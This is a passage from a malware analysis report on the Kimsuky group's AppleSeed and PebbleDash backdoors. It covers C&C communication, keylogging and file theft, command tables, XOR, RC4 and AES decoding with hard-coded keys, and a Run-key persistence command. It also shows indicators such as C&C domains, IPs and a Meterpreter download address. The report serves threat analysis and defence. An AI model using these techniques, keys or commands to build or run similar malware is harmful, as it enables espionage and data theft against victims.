(AppleSeed, PebbleDash) The following shows the entire URLs used with an explanation for each case. Mode Feature ping /?m=a&p1=[PcID]&p2=[PcInfo][MalwareVersion] Maintaining connection with the C&C server Sending command results /?m=b&p1=[PcID]&p2=a Sending CMD command results /?m=b&p1=[PcID]&p2=b Stealing designated file /?m=b&p1=[PcID]&p2=b Stealing document files from a certain path /?m=b&p1=[PcID]&p2=b Stealing file list information within the USB drive /?m=b&p1=[PcID]&p2=c Stealing captured screenshots /?m=b&p1=[PcID]&p2=d Stealing keylogging data Downloading commands /?m=c&p1=[PcID] Downloading commands from the C&C server Download complete /?m=d&p1=[PcID] Notifying completion of command download Table 10. List of URLs used 3.2.1. Information Theft Starting from the installation, the sample proves that it's different by creating the flags folder and flag files before copying and running the file in the installation path. Each flag file contains a Unicode string "flag." At the info-stealing routine, the sample checks each flag and steals information from each existing flag. The stolen data is then sent to the C&C server after being encrypted and compressed with zip. Flag File Meaning FolderMonitor Stealing document files KeyboardMonitor Keylogging ScreenMonitor Taking screenshots UsbMonitor Stealing file list information of USB Table 11. List of flag files Figure 33. Flag files within flags folder Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) a. Keylogging This is enabled if the KeyboardMonitor flag file exists within the flags folder. The keylogged data is saved as the log.text file within the cache folder in the installation path. It is compressed and encrypted along with other stolen data and sent to the C&C server. Figure 34. log.txt file that stores keylogging data b. Taking Screenshots This is enabled if the ScreenMonitor flag file exists within the flags folder. The malware takes a screenshot of the current screen and saves it in the %ALLUSERSPROFILE%\temp\ path as a jpg file. The file is sent to the C&C server after being compressed and encrypted. Figure 35. Screenshot saved as jpg file c. Stealing Document Files This is enabled if the FolderMonitor flag file exists within the flags folder. The malware collects document files (e.g. ".txt," ".hwp," ".pdf," ".doc," ".xls," and ".ppt") that exist within "Desktop," "Downloads," "Documents," and "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE" folders, then sends them to the C&C server after compressing and encrypting them. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 36. Routine for checking extensions of files that will be stolen d. Stealing File List of USB This is enabled if the UsbMonitor flag file exists within the flags folder. The malware finds a USB drive in the current system and obtains the list of files within the USB via the following dir command. The obtained text format data is also compressed and encrypted before being sent to the C&C server. > cmd /s dir [drive name]:\ /s Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 37. List of files within USB drive 3.2.2. Additional Commands Samples with the info-stealing feature enabled have 3 additional commands that can be performed after receiving them from the C&C server. The commands are as follows: Command Number Command Name Description Upload Setting target files to be stolen EditFlag Enable or disable flag FileDownload Saving files received in a certain path Table 12. C&C commands #2 a. Setting Target Files to be Stolen Besides 4 monitor threads, AppleSeed has an additional thread that was not mentioned earlier. It periodically reads the "list.fdb" file that exists in the installation path, and if the file contains the pathname of a certain file, it compresses and encrypts the file in the path to send it to the C&C server. The d command writes the received pathname into the "list.fdb" file, and if the attacker wishes to steal a certain file, they can send the file path through the d command to upload it to their server. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) The URL used to upload files from the thread is the same as the one that is used to steal document files and USB drive file list as shown below. /?m=b&p1=[PcID]&p2=b b. Setting Flags When the sample is initially installed, it enables 4 flags: FolderMonitor, KeyboardMonitor, ScreenMonitor, and UsbMonitor. The e command enables or disables each flag depending on the received data. When enabling, a file with the same name is created for each flag, and when disabling, the files are deleted. c. Downloading Files A command for downloading files to create the received data in a certain path. 3.3. C&C Communication Using Emails In terms of overall features, AppleSeed samples that use email for C&C communications are not much different from the sample discussed in the "3.1 Analysis of Default Features" in this report. However, one difference is that the samples use email protocols instead of HTTP during the C&C communications process. As such, the C&C communications via emails will be analyzed in detail. Like the sample with default features from the "3.1.4. Thread" part, AppleSeed utilizing email creates 2 main threads. They can be categorized as Ping thread and Command thread respectively, using email protocol to communicate with the C&C server. The email address and password of the attacker are encoded and saved within the file. Email Address Password k1-tome@daum[.]net c$#****fzF - (Certain strings blurred as ****) Table 13. Information of attacker's email The attacker used the curl open source2 to communicate with the C&C server using an email. The 2 main threads created by the Email AppleSeed sample can be divided into a thread that uses the IMAP protocol and a thread that uses the SMTP protocol based on their roles. The Ping thread defined in the "3.1. "Analysis of Default Features" part uses the SMTP protocol as its role is to send the information of the current system to the attacker's email. The Command thread uses the IMAP protocol since it receives additional malicious data from the attacker's email. Protocol Server Related Thread smtps://smtp.daum[.]net:465 Ping Thread imaps://imap.daum[.]net:993 Command Thread Table 14. Protocol usage type for each thread https://github.com/curl/curl Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 3.3.1. Ping Thread (SMTP) The sendHttpPing thread operates every 5 minutes. While it operates, it periodically sends the basic information of the infected system to the attacker's email. The name of the email sent to the attacker takes the form of "history yyyy-mm-dd_hh-mm-ss-sss." Note that the results shown below are based on a test account and not the actual address used by the attacker. Figure 38. Title of email sent from Ping thread Figure 39. Content of email sent from Ping thread (test account used) Item Format Time [yyyy-mm-dd_hh-mm-ss-sss] Volume Serial Number [VolumeSerialNumber] PcInfo Win[MajorVersion].[MinorVersion].[Build][Architecture] Malware Version [D_Regsvr32]\nnv[2.0]\nn[7] Table 15. Format used for sending information about the infected system - Email 3.3.2. Command Thread (IMAP) This thread is executed every 30 seconds. It checks if there is an email mailbox named "cmd" in the attacker's email account and downloads additional malware through the email's attachments. As the attacker's email account cannot currently be accessed, it is not certain what types of malicious files exist. "5. Post Infection" section of this report will discuss additionally installed malware strains identified by AhnLab ASD infrastructure. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 40. 'cmd' mailbox used for distributing additional malware (cmd mailbox created for test purpose) The attacker uses the IMAP feature of the curl open source to download additional malware from the email server. After going through the IMAP reset process, the thread sends the "select cmd" command to check if the mailbox named "cmd" exists. Figure 41. Transmission code for IMAP command that checks cmd mailbox If the mailbox named "cmd" exists, the thread saves the attached file in the %ALLUSERSPROFILE%\temp path with the name [random 4 characters].tmp after going through the parsing process. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 42. Receiving email with attached file After saving the attached file in the %ALLUSERSPROFILE%\temp path, the sample uses the "STORE 1 +Flags \Deleted" command to delete the email with the attached file from the mailbox. The process for unpacking and decrypting the file is the same as the content of the dropAndRunCmd thread explained in "3.1 Analysis of Default Features." This means that the sample can perform 4 commands: CMD, DLL, MemDLL, and UpdateDLL. 4. Analysis of PebbleDash PebbleDash, first found in 2016, is a backdoor malware that is known to be used by Lazarus group. PebbleDash is similar to malware strains of NukeSped backdoor used by Lazarus. However, since it was dubbed as PebbleDash in CISA (U.S. Cybersecurity & Infrastructure Security Agency) analysis report, this report will also refer it as PebbleDash.3 Most PebbleDash types need a certain argument upon being executed, but there is also a DLL form that is executed after being injected by other malware. Upon being executed for the first time, the malware decrypts the encrypted argument strings used for verification and the list of API functions that it will use. As for its own encrypted settings data, it uses another algorithm to decrypt it. In addition, it disguises itself as a TLS protocol to communicate with the C&C server and bypasses network detection by using multiple normal URLs and random data. It only supports basic features, such as stealing basic information and performing commands, and is not equipped with features that backdoors possess (e.g. taking screenshots, keylogging). However, it has a unique feature of re-enabling itself from the disabled state to perform malicious behavior at the occurrence of events such as the system being added with a USB drive or another user logging in through RDP. https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133c Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Distributed PebbleDash samples have some common characteristics: they require arguments to be executed normally, have encrypted settings data, and have commands they support in common. Note that there are differences between them, and one key difference is that the recent samples use HTTP protocol (WinHTTP) unlike previous ones that used Raw Socket to communicate with C&C. Also, while initial samples did not have features for maintaining persistence, current ones are added with the behavior for registering the registry Run key, which allows them to be operated after reboot. PebbleDash samples nowadays are created through the PIF dropper, but in the system already infected with malware such as AppleSeed or PebbleDash, there are also cases of the malware having being downloaded from a certain URL. Malware strains recently used by the Kimsuky group are all DLLs designed to execute via regsvr32.exe. In the latest version of PebbleDash, a command used to execute additional payloads through regsvr32.exe was added. It is noteworthy that the different C&C domains used by the PebbleDash sample (created by PIF dropper) and the Kimsuky group's AppleSeed sample were confirmed to share the same IP address. C&C IP Sample PebbleDash www.onedriver.kro[.]kr news.scienceon.r-e[.]kr AppleSeed you.ilove.n-e[.]kr get.seino.p-e[.]kr 45.124.66[.]28 216.189.149[.]78 C&C Domain PebbleDash movie.youtoboo.kro[.]kr AppleSeed ppahjcz.tigerwood[.]tech ping.requests.p-e[.]kr interface.avg.n-e[.]kr driver.spooler.p-e[.]kr Table 16. Comparing C&C information of PebbleDash and AppleSeed Below is the analysis information of initial and latest versions of PebbleDash and the comparison between the two samples. 4.1. Analysis of Initial PebbleDash 4.1.1. Initial Routine As initial versions of PebbleDash check for arguments and terminate themselves if there is no match, they use the anti-sandbox technique that does not perform any behaviors if they are terminated. The following is the argument string that the current analysis target sample compares to. - Argument String Needed for Execution: 48Ur~@3$1h45dGy a. Routine for Decoding Argument and Settings Data Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) The string shown above exists in the binary in the Xor encoded form. PebbleDash uses two types of decoding routines: A routine of decoding arguments and settings data, and a routine of decoding the API list. Both are done in the 0x1 byte Xor method, but the algorithm and key data are different. This report will first discuss the routine used to decode settings data that includes the argument value. The followings are the 0x40 byte-sized Xor key and decoding routine. - Xor Key used to Decode Settings: 5E 85 41 FD 0C 37 57 71 D5 51 5D E3 B5 55 62 20 C1 30 96 D3 77 4C 23 13 84 8B 63 5C 48 32 2C 5B 94 8F 3A 26 79 E2 6B 94 45 D1 6F 51 24 8F 86 72 C8 D3 8D C1 C0 D3 88 56 84 B3 91 E2 B2 24 64 24 - Xor Decoding Algorithm: EncDatan xor XorKeyn+SizeOfEncData-8%0x40 xor 0x59 Figure 43. Xor decoding routine used to restore arguments and settings data The data is decoded using simple encoded data, 0x59, and the Xor key. The Xor key is 0x40 byte, and the 0x01 byte key value that is used is the -0x08 offset of the encoded data size. - Example Encoded String: B8 30 51 C8 92 4C 08 5D A9 01 FB BF 4A 52 03 4A Decoded String: 34 38 55 72 7E 40 33 24 31 68 34 35 64 47 79 00 ( 48Ur~@3$1h45dGy ) b. Routine for Decrypting API Function List Besides settings data, PebbleDash has an encrypted list of API functions that it uses after the decryption and API Resolving process. The list of API functions is encrypted in the data section. Decrypting the entire 0x0829 size allows you to obtain the list for the entire API. The list also uses the 0x01 byte Xor method, based on the 0x10-sized Xor key data shown below. - Xor Key Data Used for API List Decryption: 81 16 AA 52 36 F2 03 3F 6D E2 48 41 49 6A 7E 67 The Xor method uses the +0x01 offset, meaning that 0x16 to 0x01 bytes based on the key shown above are used as an Xor key. - Xor Decryption Algorithm: EncDatan xor XorKeyn+1 When 1 key is used, the new 0x01 byte Xor key is created based on the 0x10 byte-sized Xor key data using the following algorithm. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) - Key Creation Algorithm: ( key0x00 + key0x09 ) xor key0x0d xor key0x0f = NewXorKey For instance, the Xor key that is first created becomes 0x6E by adding each offset's 0x01 byte value and going through the Xor operation. Using such a method, the algorithm creates a new 0x01 byte key each time. - Example: (0x81 + 0xE2 ) xor 0x6A xor 0x67 = 0x6E - New Xor Key Data: 16 AA 52 36 F2 03 3F 6D E2 48 41 49 6A 7E 67 6E Figure 44. Xor decryption routine used for restoring API list Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 45. List of API names that are decrypted 4.1.2. Recovering Settings Data Settings data is encoded with 0x01 byte Xor in the same method for argument strings discussed above. PebbleDash can have 5 C&C server URLs and randomly choose 1 among them to communicate. The current analysis target sample only has 1 URL. The settings data is shown below. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 46. Decrypted settings data Table 17 shows the structure of the settings data. Up to 5 C&C URL data from 0x00 to 0x10 byte sizes can be included. Offset Size Meaning +0x00 0x02 sockaddr_in.sin_family +0x02 0x02 sockaddr_in.sin_port +0x04 0x04 sockaddr_in.sin_addr +0x08 0x08 NULL +0x50 0x08 Next C&C communications time +0x58 0x04 Default Sleep count +0x5C 0x04 Random value +0x60 0x04 Drive notification flag +0x64 0x04 Session notification flag Table 17. Settings data The PebbleDash sample discussed here uses Raw Socket to communicate with the C&C server. Upon examining the decrypted settings data, the C&C URL is shown as "41.92.208[.]195:443". Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Unlike other backdoors, PebbleDash does not have multiple communications with the C&C server during a short period, waiting at least 60 seconds before performing a command. The settings data for the +0x58 offset means the setting for the Sleep() time for waiting. As the sample above has a value of 0x0A (10), it will wait for 600 seconds. The default Sleep time can be modified by the C&C command. The settings data for the +0x50 offset indicates the next time the communication starts with the C&C server. It currently has NULL, but it can be modified by receiving commands. This means that the malware can receive commands from the C&C server to communicate several hours later. The settings data for the +0x5C offset is the 0x4 byte random data that was found earlier. As it is used to communicate with the C&C server, it is presumably used as a unique identifier. Since PebbleDash waits for a long time to communicate with the C&C server by default, it is difficult for the malware to respond to changes in the infected system in real-time. Given the fact, the developer has added a feature which ends the waiting routine and enables communication with the C&C server when a new drive or session is created to prevent the malware from waiting for an indefinite period of time. The feature is enabled when the drive notification flag and session notification flag mentioned earlier are set. Figure 47. Routine for drive and session notifications The routine first uses the GetLogicalDrives() API to find the number of drives that are currently available and periodically checks the change in quantity. When a new drive is added, it is most likely that a USB memory has been inserted. The routine also uses the WTSEnumerateSessionsW() API to monitor the number of currently enabled sessions. If another user logs on to the infected system or accesses remotely through RDP, the number of sessions will increase, enabling PebbleDash. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) PebbleDash also has a command that sends various information of the infected system to the C&C server, and this will be mentioned later in this report. Among data that is sent, there is the status data. As seen below, it gains a different value when the malware is performing commands or when a drive/session is added. Such status value will be meaningful only when it is sent to the C&C server in real time. So while we cannot precisely know how the C&C server is configured, it appears that the command is used for basic communications instead of the attacker manually sending it. Status Data Meaning 0x00 Initial Value 0x01 Performing waiting routine 0x02 Performing command routine (in units of 0x03 When a drive is added (usually when USB is inserted) 0x04 When a session is added (usually logging in through local or RDP) Table 18. Types of status data 4.1.3. C&C Communications PebbleDash communicates with the C&C server by disguising itself as TLS communications. For instance, the following is the packet initially sent to the C&C server. Figure 48. Initial packet sent to C&C server The packet is the Client Hello request of the TLS Handshake process and has the following structure. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 49. TLS Client Hello Besides the default items, the rest is configured dynamically for each item. For instance, items, such as "type" and "TLS version, are the same, but values, such as server_name and Cipher Suites that are sets of encryption algorithm, randomly choose one hard-coded value in the binary as shown in Figure 50. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 50. Randomly selected data For URL (server_name), one normal URL is also randomly selected among the following list. Figure 51. Randomly selected dummy URL Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) www.wordpress.com www.wikipedia.org www.yahoo.com www.uc.com www.paypal.com www.linkedin.com www.microsoft.com www.avira.com www.dell.com www.bing.com www.apple.com www.avast.com www.amazon.com www.baidu.com The following table provides details on the packet mentioned above that is sent to the C&C server. Offset Size Description Data +0x00 0x01 Content Type Handshake (22) [ 16 ] +0x01 0x02 Version TLS 1.0 [ 03 01 ] +0x03 0x02 Length [ 00 6A ] +0x05 0x02 Handshake Type Client Hello (1) [ 01 00 ] +0x07 0x02 Length [ 00 66 ] +0x09 0x02 Version TLS 1.0 [ 03 01 ] +0x0B 0x20 Random Random data [61 93 0B 3D 05 22 45 DB C9 DF 2B 14 9E 1E 76 57 AB B4 BC B1 5A B7 C4 9E C3 2B 99 CE 68 DE DD 28 ] +0x2B 0x01 Session ID Length [ 00 ] +0x2C 0x01 Cipher Suites Length [ 00 18 ] +0x2E 0x18 Cipher Suites 12 suites [00 2F 00 35 00 05 00 0A C0 13 C0 14 C0 09 C0 0A 00 32 00 38 00 13 00 04 ] +0x46 0x01 Compression Methods Length [ 01 ] +0x47 0x01 Compression Methods NULL [00] +0x48 0x02 Extensions Length [ 00 25 ] +0x4A 0x13 Extension server_name [ 00 00 00 0F 00 0D 00 00 0A 77 77 77 2E 75 63 2E 63 6F 6D ] +0x5D 0x0C Extension elliptic_curves [00 0A 00 08 00 06 00 17 00 18 00 19 ] +0x69 0x06 Extension ec_point_formats Table 19. Packet example [ 00 0B 00 02 01 00 ] Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) When PebbleDash sends data to the stolen C&C server, it encrypts the data using the RC4 algorithm. The process will be discussed in the Performing Commands part. The case is the same when the malware receives commands from the C&C server, for which the identical key is used. - RC4 Key: 79 E1 0A 5D 87 7D 9F F7 5D 12 2E 11 65 AC E3 25 Figure 52. Hard-coded RC4 key 4.1.4. Performing Commands The commands sent from the C&C server can largely be divided into 2 stages. The first stage performs default commands as shown below. Additional commands are sent only when the command is 0x04. Command Feature 0x03 Sleep (60 seconds) 0x04 Additional command 0x15 Setting Sleep count 0x19 Restoring default Sleep count 0x26 Auto-delete Table 20. Command Type 1 The 5 commands are all simple, but as mentioned earlier, the auto-delete routine has one noticeable characteristic. To perform auto-delete, a batch file needs to be created. In this case, the name of the batch file created in the %TEMP% path is "qsm.bat". Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 53. qsm.bat file used for auto-delete If the first Type 1 command is 0x04, the malware can download Type 2, the actual commands. The downloaded commands are also encoded with RC4, and the first decoded byte is the command byte for the table shown below. Command Feature 0x09 Stealing drive information 0x0A Terminating process 0x0B Downloading files 0x0C Deleting files 0x0D Deleting files #2 0x0E Stealing system info (Windows version, adapter, status data, etc.) 0x0F Stealing information of currently running processes 0x10 Performing command line commands and stealing results 0x11 Performing command line commands and stealing results (Hidden) 0x12 Changing MAC time 0x13 Uploading files 0x14 Setting the next C&C communications time 0x15 Setting Sleep count 0x16 Setting current task directory 0x18 Stealing file information 0x19 Maintaining connection 0x1A Stealing file and directory information 0x1D Manipulating files 0x1E Changing file property 0x1F Running processes 0x23 Changing settings data 0x24 Sending settings data 0x25 Scanning certain IP Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 0x26 0x27 Auto-delete Uploading and deleting files Table 21. Command Type 2 As most of the commands the malware support are also normally supported by other backdoors, this report will only focus on those with noticeable traits. The commands 0x0C and 0x0D both delete files in the path that they receive. Yet, whereas 0x0C simply deletes files using the DeleteFileW() API, the 0x0D command deletes files after overwriting them with dummy data. It appears that the latter is to obstruct file recovery in the future. 0x10 and 0x11 perform command line commands and send the result to the C&C server. The only difference between the two is whether the CREATE_NO_WINDOW flag is used or not (status for outputting the console window). Each command uses the following command lines to output the result in the %TEMP% path and sends it to the C&C server. > cmd.exe /c [Command] >[Temp file] 2>&1 > cmd.exe /c [Command] 2>[Temp file] The 0x12 command changes the MAC (Modified Time, Accessed Time, and Created Time) time of the file. It finds the MAC time of the file in the path that it received as the first argument and changes it to the MAC time of the file that it received as the second argument. The 0x1E command can change file properties, and the 0x1D command can also change the header TimeStamp besides file properties if the target file is PE. 4.2. Analysis of Latest PebbleDash 4.2.1. Initial Routine Encoded inside the recent PebbleDash samples are strings and a list of API functions that will be used, but their algorithms are different from the ones used in the past. The current analysis target sample has the following string consisting of numbers and alphabetical characters in random order. - Data String (DataStr): zcgXlSWkj314CwaYLvyh0U_odZH8OReKiNIr-JM2G7QAxpnmEVbqP5TuB9Ds6fFt The following table shows the offset for each uppercase and lowercase alphabets, number, and special characters "-" and "_". Character Offset Character Offset Character Offset Character Offset 0x14 0x28 0x06 0x2F 0x0A 0x1A 0x03 0x2e 0x27 0x22 0x0F 0x17 0x09 0x25 0x19 0x2D 0x0B 0x1F 0x0E 0x33 0x35 0x10 0x32 0x23 0x3C 0x26 0x01 0x3B Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 0x29 0x21 0x18 0x3F 0x1B 0x1C 0x1E 0x37 0x39 0x34 0x3D 0x11 0x2B 0x2A 0x02 0x0D 0x38 0x1D 0x13 0x2C 0x0C 0x05 0x20 0x12 0x3A 0x36 0x08 0x00 0x30 0x15 0x07 0x24 0x3E 0x31 0x04 Table 22. Offset of each character 0x16 The following example shows how the argument string needed for execution (MskulCxGMCgpGdM) is decrypted. The string is 15 characters, but the encrypted string is 19 characters. - Encrypted String (EncStr): P9HpHPN-BSWUHSOHOvz - Decrypted String: MskulCxGMCgpGdM The offsets for the first 4 characters of the 19-character string (P9Hp) is shown below. Each 0x4 byte below is circulated in order and used as a key. - Offsets for First 4 Strings (EncKey): 0x34, 0x39, 0x1A, 0x2D The malware starts operation for the rest of the characters (HPN-BSWUHSOHOvz). You can see that the first character is H and the offset 0x1A. As for 0x1A, subtracting the first key 0x34 and performing the 'and' operation with 0x3F results in 0x26. Finding the 0x26 offset string from the string (zcgXlSWkj314CwaYLvyh0U_odZH8OReKiNIr-JM2G7QAxpnmEVbqP5TuB9Ds6fFt) yields "M". - Decryption Algorithm: offet( DataStr, ( offet( EncStr, n ) - offset( EncKey, n%3 ) ) and 0x3F ) As the operation only processes characters included in the string, those such as "." are not encrypted. The following example shows that the string "/" was not encrypted because it was not included in the string. - Encrypted String: rQvVWjh Vg7 TVyG\JGnIuK0c\zv-wGxD2L\E1t3DuC\-NP0cdLgcwCvDd\0Hd /s "\"%C\" %x" /E kcZ9mQ /s "%J" /2 - Decrypted String: reg add hkcu\software\microsoft\windows\currentversion\run /d "\"%s\" %s" /t REG_SZ /v "%s" /f Like the initial version, the latest PebbleDash sample compares the string "MskulCxGMCgpGdM" to the argument string that it received upon execution. When the strings do not match, it terminates itself. When the malware is executed by receiving the argument in the actual environment, it first creates the \system32\ folder in the same directory and copies itself with the name smss.exe. Note that recently confirmed PebbleDash strains all copies themselves in that directory. Unlike the initial samples that did nothing for their sustenance, the new samples register a string such as the encrypted string shown above to the Run key using the reg command. They then run recursion by sending the argument "YRfDFtxLjoBuYXA" along with the path of the previous file as shown below. When PebbleDash samples receive the argument and the third argument, they delete files in the path received through the third argument. The files are not directly deleted but overwritten with Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) NULL data like the command in the initial PebbleDash version. C:\ProgramData\system32\smss.exe YRfDFtxLjoBuYXA "C:\ProgramData\PebbleDash.exe" 4.2.2. Recovering Settings Data Recently confirmed PebbleDash samples encrypt settings data like previous versions. For the latest form, the simple 0x10 byte Xor method is used. While it is 0x10 byte, the key value is still 0x9F. - Xor Key: 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F Figure 54. Xor decryption routine Figure 55. Settings data being decrypted Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) The following table shows the settings data used in the latest PebbleDash sample. They are mostly similar to the samples discussed earlier in this report. There are some differences; the volume serial number is used along with random data when the sample communicates with the C&C server, and unlike the initial version, which used Raw Socket to communicate with the C&C server, the latest version uses the HTTP protocol. Offset Size Meaning +0x0000 0x0008 Next C&C communications time +0x0008 0x0004 Default Sleep time (in minutes) +0x000C 0x0004 Volume serial number +0x0010 0x0004 Drive notification flag +0x0014 0x0004 Session notification flag +0x0018 0x0208 C&C Server URL #1 +0x0220 0x0208 C&C Server URL #2 +0x0428 0x0208 C&C Server URL #3 +0x0630 0x0208 C&C Server URL #4 +0x0838 0x0208 C&C Server URL #5 +0x0A40 0x0800 Shell (cmd.exe) +0x1240 0x0800 Temp Directory Table 23. Settings data The part that sets the next C&C communications time, default Sleep count, and notification flags for drives and sessions are mostly the same. The status data also have identical values. Status Data Meaning 0x00 Initial Value 0x01 Performing waiting routine 0x02 Performing command routine (in units of 5) 0x03 When a drive is added (usually when USB is inserted) 0x04 When a session is added (usually logging in through local or RDP) Table 24. Types of status data 4.2.3. C&C Communications The latest version of PebbleDash uses the HTTP protocol to communicate with the C&C server and as such, uses queries to send and receive data. The following table shows the queries used to communicate with the C&C server. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Query Type Meaning Types of data that is sent Volume serial number Random data data Data to be sent Table 25. Queries used for C&C communication For instance, when the malware tries to secure the initial connection, it makes a POST request with the following query: [C&C URL]?sep=zDyTRPortBIUyue&uid=7057e9dc&sid=01d1f346 "sep" refers to the type of data that will be sent. The current analysis target sample has 6 queries defined but practically, 3 are used. Figure 56. Defined Types Query Number Query String zDyTRPortBIUyue Securing connection with the C&C server QFbgweAUBDjojNR Sending command perform results BJIcQHTzhmuafuL Downloading commands trceNSkCJRwZQQL Not used qWTZUgfjdigTpUW Not used lZpReYjnpgYClLi Not used Table 26. Types of data sent Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) When the malware successfully connects to the C&C server, it downloads commands using the following query. "uid" is not included as it is only used to establish the initial connection, and the 3rd query and "sid" are used instead. [C&C URL]?sep=BJIcQHTzhmuafuL&sid=01d1f346 The downloaded data is likely a string encoded with Base64. The data received goes through the Base64 decoding process. You can check the actual commands if you decrypt the data using the AES128 algorithm. - AES128 Key: erNpiMneSIYnRKoE Figure 57. Base64 Decoding and AES128 Decryption Routine When receiving commands as well as sending results PebbleDash goes through the AES128 encryption and Base64 encoding process. The AES128 key is the same for both cases. It sends a routine that sends the success and failure status, and the one that sends the result for performing commands. They are all sent as the "data" item shown below. [C&C URL]?sep=QFbgweAUBDjojNR&sid=01d1f346&data=LainSGh6TfPX9wC8LkBHKw== The success and failure status are 0x02 and 0x01 respectively. Upon success, the data is created by going via the following process. - Original Data: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - AES128 Encryption: 2D A8 A7 48 68 7A 4D F3 D7 F7 00 BC 2E 40 47 2B - Base64 Encryption: LainSGh6TfPX9wC8LkBHKw== Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 4.2.4. Performing Commands Most of the commands supported by the latest version of PebbleDash are not much different from the previous samples. Their features are similar as well. For instance, upon self-deletion, it creates the "qsm.bat" batch file and executes it to carry out the process. Furthermore, the command lines used to send results after performing commands are almost the same. Command Feature 0x03 Setting current task directory 0x04 Changing MAC time 0x05 Terminating process 0x06 Stealing information of currently running processes 0x07 Deleting files 0x08 Deleting files #2 0x09 Running processes 0x0A Execution using file download and RegSvr32 0x0B Execution in file download and memory 0x0C Uploading files 0x0D Downloading files 0x0E Setting the next C&C communications time (in minutes) 0x0F Setting the next C&C communications time (in Hex) 0x10 Auto-delete 0x11 Stealing system info (Windows version, adapter, status data, etc.) 0x12 Changing settings data 0x13 Sending settings data 0x14 Performing command line commands and stealing results (Hidden) 0x15 Performing command line commands and stealing results 0x16 Maintaining connection Table 27. Command list Some of the commands in the list above deserve a special discussion. First of all, it should be noted that most types of malware recently created by Kimsuky group are in DLL forms executed through regsvr32.exe. The purpose of the 0x0A command is to support such malware strains, having an additional command to execute the malware with "regsvr32.exe /s" after downloading payloads. In the case of the 0x0B command, it supports a command that can execute the malware in memory instead of downloading in file forms. This type of payload supports DLL as well as an EXE form PE. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 5. Post Infection After the initial compromise, the Kimsuky group installs a backdoor such as AppleSeed or PebbleDash on the target system. In most cases, they continue to install additional malware strains. While these malware strains can install additional files, steal information, and perform command line commands sent from the attacker, they lack features to remotely control the infected system like other backdoor and RAT malware. This is why the attackers install Meterpreter backdoor of Metasploit or VNC malware to remotely control the system through additional payloads. VNC, also known as Virtual Network Computing, is a screen sharing system that remotely controls other computers. Similar to the commonly-used RDP, it is used to remotely access and control other systems. The technology allows attackers to control the targeted system in a graphic environment. This part will discuss malware strains that are additionally installed by the Kimsuky group after the system is infected with AppleSeed or PebbleDash. 5.1. Remote Control 5.1.1. Meterpreter Metasploit is a penetration testing framework. It is a tool that can be used to inspect security vulnerabilities for networks and systems of companies and organizations, providing various features for each penetration test stage. Like Cobalt Strike, it provides features necessary for each stage, from creating various types of payloads for the initial infection and stealing account credentials to dominating the system via lateral movement. Figure 58. Metasploit GitHub Cobalt Strike provides Beacon which is the actual malware that operates as a backdoor in the infected PC. Depending on the method of installing a Beacon, it can be classified as Staged or Stageless. When Cobalt Strike is built with the Staged method, a powershell or small shellcode that has a downloader feature is created. The attacker can distribute such small-sized stager through various means. When the stager is executed in the infected PC, it downloads Beacon that is the main malware from the C&C server on the memory and executes it. The Stageless method creates a binary included with Beacon instead. As such, the binary can directly communicate with the C&C server without having to download Beacon. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Metasploit also provides a backdoor that performs actual malicious behaviors like Beacon from Cobalt Strike, called Meterpreter. Like Beacon, it can be created in both Staged and Stageless methods. This means that both Cobalt Strike and Metasploit can be used as penetration test tools to control the infected PC and steal information. The Kimsuky group mainly uses the stager method. Instead of including Meterpreter in the distributed file, a shellcode is included to download a backdoor containing Meterpreter. To be more precise, the downloaded file is metsrv.dll, the basic backdoor of Meterpreter. The file is created to be executed with the Reflective DLL injection method as shown below. One characteristic of the method is that the start address (the part starting with MZ) can operate as a code. The code that newly loads the DLL file itself into the memory through MZ is executed. When the loading is complete (in other words, when the Reflective DLL injection method is finished), the file hands over the control to run the actual code of metsrv.dll. Note that Meterpreter is modularized depending on its features. Besides the default metsrv.dll, it supports various extension DLLs for privilege escalation or additional tasks. Most of the samples collected are x64 DLL, executed by being loaded through the regsvr32.exe process. A glance at the file shows that the strings are obfuscated like other malware of the Kimsuky group. The following shows a routine that injects the stager shellcode to rundll32.exe. Figure 59. Decoding routine similar to AppleSeed, Kimsuky group's another backdoor The injected shellcode downloads Meterpreter on the memory from the 79.133.41[.]237:4001 URL and executes it. The following is the Meterpreter DLL downloaded from the Metasploit C&C server, which is similar to the binary found in the memory area mentioned above. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 60. Meterpreter DLL being downloaded The downloaded binary 